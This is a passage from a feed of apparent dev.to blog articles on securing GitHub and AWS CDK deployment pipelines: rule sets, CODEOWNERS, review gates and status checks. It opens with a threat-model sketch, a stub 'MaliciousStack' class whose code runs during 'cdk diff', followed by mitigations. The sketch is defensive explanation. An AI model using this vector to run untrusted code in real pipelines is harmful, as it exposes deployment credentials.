&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MaliciousStack&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Stack&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Construct&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// This code runs during 'cdk diff' and could be malicious&lt;/span&gt;
    &lt;span class="nf"&gt;maliciousFunction&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;: The Docker isolation prevents most damage, but code review remains essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Diff Output Manipulation
&lt;/h3&gt;

&lt;p&gt;Malicious code could try to hide dangerous changes in the diff output, but this is limited by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The trusted CDK CLI generates the actual diff&lt;/li&gt;
&lt;li&gt;The isolated output directory prevents tampering&lt;/li&gt;
&lt;li&gt;Code review catches suspicious patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Key Benefits of This Approach
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Security&lt;/strong&gt;: Multiple layers protect against credential theft and malicious code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Functionality&lt;/strong&gt;: Provides meaningful infrastructure previews for review&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trust&lt;/strong&gt;: Separates trusted tooling from untrusted code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Works for both small projects and large monorepos&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maintainability&lt;/strong&gt;: Uses standard tools and patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Best Practices for Implementation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Always use dual-checkout pattern&lt;/strong&gt; for &lt;code&gt;pull_request_target&lt;/code&gt; workflows&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implement Docker isolation&lt;/strong&gt; for untrusted code execution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use trusted tooling&lt;/strong&gt; (CDK CLI, dependencies) from main branch&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implement security scanning&lt;/strong&gt; of diff outputs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set up monitoring&lt;/strong&gt; for unusual activity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maintain code review discipline&lt;/strong&gt; as the final security layer&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Looking Ahead
&lt;/h2&gt;

&lt;p&gt;The dual-checkout pattern with Docker isolation provides a robust solution for safely previewing infrastructure changes from untrusted sources. While it doesn't eliminate all risks, it significantly reduces the attack surface and provides multiple layers of protection.&lt;/p&gt;

&lt;p&gt;The key insight is that &lt;strong&gt;you can run untrusted code safely if you control the execution environment and the tools used to process it&lt;/strong&gt;. By maintaining strict separation between trusted tooling and untrusted code, you can provide valuable infrastructure previews without compromising your deployment pipeline's security.&lt;/p&gt;

&lt;p&gt;In our &lt;a href="https://dev.to/domderrien/lessons-learned-building-secure-pipelines-in-practice-36ef"&gt;final article&lt;/a&gt;, we'll bring everything together with real-world lessons learned and practical tips for implementing these security patterns in your organization.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Remember: This security model is only as strong as your code review process. Automated security measures protect against accidental exposure, but human review remains essential for catching malicious intent.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next in series&lt;/strong&gt;: &lt;a href="https://dev.to/domderrien/lessons-learned-building-secure-pipelines-in-practice-36ef"&gt;Lessons Learned: Building Secure Pipelines in Practice&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Secure Code Review: Branch Protection and Automated Security Scanning</title>
      <dc:creator>Dom Derrien</dc:creator>
      <pubDate>Mon, 14 Jul 2025 04:13:36 +0000</pubDate>
      <link>https://dev.to/domderrien/secure-code-review-branch-protection-and-automated-security-scanning-5h9h</link>
      <guid>https://dev.to/domderrien/secure-code-review-branch-protection-and-automated-security-scanning-5h9h</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the third article in our series "From Chaos to Control: GitHub Rule Sets and Workflows for Safer AWS Deployments." In our previous articles, we explored why secure deployment pipelines matter and how to enforce quality through status checks. Now we tackle the critical human element: meaningful code reviews that complement your automated validation.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;Picture this: your CI pipeline is green, all tests pass, security scans show no vulnerabilities, and the code deploys successfully. Three weeks later, you discover a critical business logic error that automated tools missed entirely. The function worked perfectly—it just solved the wrong problem.&lt;/p&gt;

&lt;p&gt;This scenario highlights why human oversight remains irreplaceable in our automated world. While machines excel at catching syntax errors and known vulnerabilities, they struggle with context, business logic, and architectural decisions that could haunt your system for years.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Reviews Matter: Beyond Automation
&lt;/h2&gt;

&lt;p&gt;Automated CI checks validate that your code builds, tests pass, and follows security patterns. But they can't catch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Business logic errors&lt;/strong&gt;: A function that works but solves the wrong problem&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Architectural drift&lt;/strong&gt;: Code that works but doesn't align with system design&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context-specific security&lt;/strong&gt;: Patterns that are technically secure but inappropriate for your use case&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maintainability issues&lt;/strong&gt;: Code that works today but will be painful to modify tomorrow&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's how reviews integrate with your existing validation pipeline:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PR Creation &amp;amp; Validation Flow
┌─────────────────┐
│ PR Created      │
│        ↓        │
│ ✅ CI Checks    │ ← Automated: builds, tests, linting
│ ✅ Security     │ ← Automated: vulnerability scanning
│ ✅ Infra Diff   │ ← Automated: infrastructure preview
│        ↓        │
│ 👤 Code Review  │ ← Human: logic, architecture, context
│   Required      │
│        ↓        │
│ ✅ Approved     │
│        ↓        │
│ 🚀 Deploy       │
└─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Review Requirements Rule Set
&lt;/h2&gt;

&lt;p&gt;The GitHub Rule Set below enforces human approval while maintaining flexibility for emergency situations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Review Requirements"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"branch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"enforcement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"active"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"conditions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ref_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"include"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"refs/heads/main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"refs/heads/develop"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"exclude"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pull_request"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"parameters"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"required_approving_review_count"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"dismiss_stale_reviews_on_push"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"require_code_owner_review"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"require_last_push_approval"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"required_review_thread_resolution"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"automatic_copilot_code_review_enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"allowed_merge_methods"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"merge"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"squash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rebase"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"bypass_actors"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"actor_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RepositoryRole"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"actor_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Key parameters explained:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;required_approving_review_count: 1&lt;/code&gt;: Minimum one approval required&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dismiss_stale_reviews_on_push: true&lt;/code&gt;: New commits invalidate previous approvals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;require_code_owner_review: true&lt;/code&gt;: Specific owners must approve changes to their areas&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;require_last_push_approval: false&lt;/code&gt;: Allows minor fixes without re-approval&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bypass_actors&lt;/code&gt;: Repository admins can override in emergencies&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Strategic Code Ownership with CODEOWNERS
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;CODEOWNERS&lt;/code&gt; file creates clear accountability while distributing review load efficiently. Here's a strategic approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# CODEOWNERS - Strategic ownership for efficient reviews

# Global fallback - ensures no code goes unreviewed
* @admin-1 @admin-2

# Infrastructure &amp;amp; DevOps - high-impact, specialized knowledge required
/.github @devops-1 @admin-1
/iac/ @devops-1 @admin-1

# Backend Services - business logic and data handling
/serverless/ @backend-1 @backend-2
/interfaces/ @backend-1 @frontend-1  # Shared contracts need both perspectives

# Frontend - user experience and client-side logic
/webapp/ @frontend-1 @frontend-2
/cdn/ @frontend-1 @devops-1          # Static assets need deployment knowledge

# Security-sensitive areas - multiple eyes required
/iac/security/ @devops-1 @security-lead @admin-1
/serverless/auth/ @backend-1 @security-lead
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This setup ensures that infrastructure changes get specialized review while maintaining flexibility for team evolution. The commented entries allow you to gradually assign ownership as your team grows and roles become more defined.&lt;/p&gt;

&lt;h2&gt;
  
  
  Review Workflow Integration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Review Process Flow
┌─────────────────┐
│ PR Submitted    │
│        ↓        │
│ ⏱️ CI Running   │ ← Reviewer can start early review
│        ↓        │
│ ✅ CI Passed    │ ← Automated checks complete
│        ↓        │
│ 🔍 Code Review  │ ← Focused human review
│   • Logic       │
│   • Architecture│
│   • Security    │
│   • Maintenance │
│        ↓        │
│ ✅ Approved     │
│        ↓        │
│ 🔄 Merge        │ ← Triggers deployment
└─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Balancing Speed and Thoroughness
&lt;/h2&gt;

&lt;p&gt;Repository administrators can bypass reviews in genuine emergencies using the &lt;code&gt;bypass_actors&lt;/code&gt; configuration. This should be used sparingly and documented properly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use the bypass capability only for critical fixes&lt;/li&gt;
&lt;li&gt;Document the reason in the merge commit&lt;/li&gt;
&lt;li&gt;Create a follow-up PR for proper review&lt;/li&gt;
&lt;li&gt;Conduct post-incident review of the bypass decision&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Implementation Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Deploy the Review Requirements rule set&lt;/li&gt;
&lt;li&gt;[ ] Create comprehensive CODEOWNERS file&lt;/li&gt;
&lt;li&gt;[ ] Train team on review focus areas&lt;/li&gt;
&lt;li&gt;[ ] Establish review time expectations&lt;/li&gt;
&lt;li&gt;[ ] Document emergency bypass procedures&lt;/li&gt;
&lt;li&gt;[ ] Set up review assignment automation&lt;/li&gt;
&lt;li&gt;[ ] Monitor review bottlenecks and adjust ownership&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;With review gates protecting your main branches, you've created a solid foundation for secure deployments. But what happens when external contributors want to help? In our next article, we'll tackle one of the most challenging aspects of secure CI/CD: handling forked workflows safely.&lt;/p&gt;

&lt;p&gt;When someone forks your repository and submits a PR, they shouldn't have access to your AWS credentials or be able to modify your infrastructure. Yet you still want to preview their changes safely. We'll explore how to build trust boundaries that allow collaboration without compromising security.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In the next article: "&lt;a href="https://dev.to/domderrien/the-trust-challenge-safe-infrastructure-previews-in-forked-workflows-24pf"&gt;The Trust Challenge: Safe Infrastructure Previews in Forked Workflows&lt;/a&gt;"&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>GitHub Rule Sets: Enforcing Quality Through Status Checks</title>
      <dc:creator>Dom Derrien</dc:creator>
      <pubDate>Mon, 14 Jul 2025 04:09:46 +0000</pubDate>
      <link>https://dev.to/domderrien/github-rule-sets-enforcing-quality-through-status-checks-18nd</link>
      <guid>https://dev.to/domderrien/github-rule-sets-enforcing-quality-through-status-checks-18nd</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the second article in our series on building secure AWS deployment pipelines. In the &lt;a href="https://dev.to/domderrien/from-chaos-to-control-github-rule-sets-and-workflows-for-safer-aws-deployments-3jm0"&gt;previous article&lt;/a&gt;, we explored why validation-first pipelines matter. Now we'll implement the technical foundation: GitHub Rule Sets and parallel validation workflows.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Building Parallel Validation Pipelines
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem: Monolithic Workflows Don't Scale
&lt;/h3&gt;

&lt;p&gt;Our original approach used monolithic workflow files—one for &lt;code&gt;develop&lt;/code&gt; branch PRs and another for &lt;code&gt;main&lt;/code&gt; branch deployments. Each workflow would sequentially build code, run tests, package assets, and deploy everything with CDK. This worked for a single project, but became inefficient as our monorepo grew.&lt;/p&gt;

&lt;p&gt;The problems were clear:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Slow feedback&lt;/strong&gt;: Developers waited 16+ minutes to know if their PR was valid&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resource waste&lt;/strong&gt;: A single failing test would block deployment unnecessarily&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Merge bottlenecks&lt;/strong&gt;: Only one validation could run at a time&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Solution: Split CI from CD
&lt;/h3&gt;

&lt;p&gt;I redesigned the pipeline around two core principles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Continuous Integration (CI)&lt;/strong&gt;: Fast validation that runs on PR creation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous Deployment (CD)&lt;/strong&gt;: Deployment that only runs after PR approval and merge
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NEW: Split Pipeline with Parallel Validation
┌─────────────────────────────┐
│    PR Created               │
│        ↓                    │
│ ┌─────────────────────────┐ │
│ │ CI Pipeline             │ │  ← Parallel validation
│ │                         │ │
│ │ IaC   │ Server │ Webapp │ │  ← Each project
│ │ Build │ Build  │ Build  │ │     independently
│ │ Test  │ Test   │ Test   │ │
│ └─────────────────────────┘ │
│    PR Created               │
│    Status Checks            │  ← GitHub Rule Sets
│        ↓                    │     verify all pass
│    PR Approved              │
│        ↓                    │
│    PR Merged                │
│        ↓                    │
│    CD Pipeline              │  ← Deploy only after
│    (Deploy)                 │     validation passes
└─────────────────────────────┘
Total CI Time: ~2 minutes (parallel)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Implementing GitHub Rule Sets
&lt;/h3&gt;

&lt;p&gt;To make this work, I needed GitHub to understand that a PR is only ready for merge when all project validations pass. This is where Rule Sets shine—they can monitor multiple status checks simultaneously.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Core Branch Protection"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"branch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"enforcement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"active"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"conditions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ref_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"include"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"refs/heads/main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"refs/heads/develop"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"exclude"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pull_request"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"required_status_checks"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"parameters"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"required_status_checks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CI Checks (IaC, cd serverless &amp;amp;&amp;amp; npm run build &amp;amp;&amp;amp; npm test)"&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CI Checks (Serverless, cd serverless &amp;amp;&amp;amp; npm run build &amp;amp;&amp;amp; npm test)"&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CI Checks (Webapp, cd serverless &amp;amp;&amp;amp; npm run build &amp;amp;&amp;amp; npm test)"&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"strict_required_status_checks_policy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
